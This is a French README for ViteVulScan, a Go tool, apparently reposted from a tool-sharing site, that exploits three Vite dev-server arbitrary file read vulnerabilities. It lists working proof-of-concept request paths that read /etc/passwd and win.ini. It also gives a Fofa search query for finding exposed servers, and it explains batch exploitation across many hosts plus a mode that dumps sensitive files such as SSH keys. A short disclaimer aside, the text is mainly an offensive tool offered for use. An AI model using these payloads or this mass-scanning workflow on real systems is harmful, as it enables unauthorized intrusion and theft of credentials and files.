ViteVulScan

Présentation des vulnérabilités

Ce projet concerne 3 vulnérabilités : CVE-2025-30208/CVE-2025-31125/CVE-2025-31486, toutes liées à une vulnérabilité de lecture arbitraire de fichiers du serveur de développement Vite. Ces trois vulnérabilités ont une large couverture et sont faciles à exploiter sans restriction.

POC des vulnérabilités :

CVE-2025-30208 :

Windows : /@fs/C://Windows/win.ini?import&raw??

Linux : /@fs/etc/passwd?import&raw??

CVE-2025-31125

Windows : /@fs/C://windows/win.ini?import&?inline=1.wasm?init

Linux : /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

Windows : /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init

Linux : /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

Le chemin /@fs peut être omis.

Syntaxe de recherche Fofa :

body="/@vite/client"

Présentation de l'utilisation de l'outil

Caractéristiques de l'outil

1. Peut interagir avec Fofa pour une exploitation par lots
2. Analyse le chemin précis où la vulnérabilité existe et effectue une exploitation approfondie
3. Exploite pleinement les capacités de concurrence de Go, permettant une détection rapide par lots d'un grand nombre d'actifs en peu de temps

Instructions de compilation

Version de Go : go 1.20 ou supérieure

Placez-vous dans le répertoire racine du projet

Synchronisez d'abord les dépendances :

go mod tidy

Puis compilez le projet :

go build -o ViteVulScan -ldflags="-s -w" -trimpath .

Exécutez le script avec ./ViteVulScan.

Vous pouvez également exécuter directement le projet dans le répertoire racine :

go run .

Configuration

Le script peut interagir avec Fofa pour rechercher des actifs puis effectuer une détection par lots.

Pour utiliser Fofa, assurez-vous que le fichier app.ini se trouve dans le même répertoire que le binaire compilé, et modifiez le fichier app.ini dans le répertoire config. Remplissez le champ fofakey avec votre propre clé Fofa, et num avec le nombre approximatif d'actifs à détecter.

Si vous disposez d'une meilleure syntaxe de recherche Fofa pour cette vulnérabilité, vous pouvez modifier le champ fofaQuery par vous-même.

Description des arguments en ligne de commande

Utilisation de ./ViteVulScan :

Remarques

1. Pour détecter par lots toutes les URL cibles dans un fichier, assurez-vous qu'il y a une URL par ligne. L'URL peut être une URL complète contenant http, ou un nom de domaine ou une adresse IP, par exemple :
   root@kitploit:~

     http://example1.com 
     example2.com
     127.0.0.1
   

2. Lorsque les arguments -fofa et -f sont spécifiés pour la détection, les actifs vulnérables seront automatiquement enregistrés dans un fichier au format "horodatage actuel.csv" dans le répertoire courant.
3. L'outil prend en charge à la fois les plateformes Linux et Windows. Les dictionnaires utilisés sont respectivement linux_sensitive_path.txt et windows_sensitive_path.txt dans le répertoire dict. Si vous avez d'autres chemins sensibles, vous pouvez les ajouter vous-même dans les dictionnaires correspondants.

Exemples

Exemple 1 : Interagir avec Fofa pour une détection par lots :

./ViteVulScan -fofa

Une fois l'analyse terminée, un fichier CSV contenant les URL exploitées avec succès sera créé dans le répertoire result, nommé d'après l'horodatage :

Exemple 2 : Exploitation approfondie d'une URL vulnérable :

./ViteVulScan -u example.com -e

Si "Exploitation réussie" s'affiche, consultez le répertoire result. Un dossier nommé d'après l'URL scannée sera créé, contenant le contenu des fichiers sensibles analysés, sauvegardé dans le format de fichier d'origine. Le résultat ressemble à ceci :

Prenons l'exemple du contenu sauvegardé dans result/localhost:5173/etc/passwd : le contenu complet des informations sensibles est enregistré, facilitant une exploitation ultérieure (si /etc/shadow ou la clé privée SSH du serveur peuvent être lus, une exploitation plus poussée est possible).

Avertissement

Cet outil est destiné uniquement à la recherche en sécurité et aux tests autorisés. Ne l'utilisez pas à des fins illégales. Toute conséquence résultant de tests non autorisés effectués avec cet outil incombe à l'utilisateur.

Mises à jour

Première publication le 29 mars :

• Implémentation de la collecte d'actifs via Fofa
• Implémentation de la validation par lots avec la vulnérabilité CVE_2025_30208
• Ajout de la fonctionnalité d'analyse des arguments en ligne de commande

1er avril :

• Implémentation de la fonction d'exploitation approfondie

2 avril :

• Ajout de la validation pour la vulnérabilité CVE_2025_31125 qui vient de sortir

9 avril :

• Correction d'erreurs dans le module Fofa
• Ajout de la fonctionnalité de concurrence, permettant une détection rapide par lots de la présence de vulnérabilités sur les actifs
• Ajout de la validation pour CVE_2025_31486
• Modification de la structure du projet